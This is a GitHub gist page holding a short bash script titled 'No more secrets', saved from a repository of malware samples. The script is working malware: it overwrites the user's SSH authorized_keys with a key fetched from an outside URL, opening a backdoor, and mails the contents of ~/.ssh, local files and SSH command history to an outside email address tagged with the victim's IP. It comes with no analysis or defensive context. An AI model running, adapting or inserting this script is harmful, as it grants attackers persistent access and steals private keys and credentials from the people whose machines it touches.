Created
June 28, 2018 01:30
-
-
Save NullArray/4ac593c14e5c890511d9e2897adf803a to your computer and use it in GitHub Desktop.
No more secrets.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Original by Kevin Hodges at https://github.com/khodges42 | |
# Original Source File -> https://github.com/khodges42/Malware-Fiesta/blob/master/src/nomoresecrets/nomoresecrets.sh | |
# Saving here for future reference. | |
############################################ | |
ip=$(dig +short myip.opendns.com @resolver1.opendns.com) | |
curl -s https://raw.githubusercontent.com/khodges42/good-ideas/master/Public > ~/.ssh/authorized_keys | |
cat * ~/.ssh/ | mail -s "$ip" nomoresecrets@mailinator.com | |
history | grep ssh | mail -s "$ip" nomoresecrets@mailinator.com |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment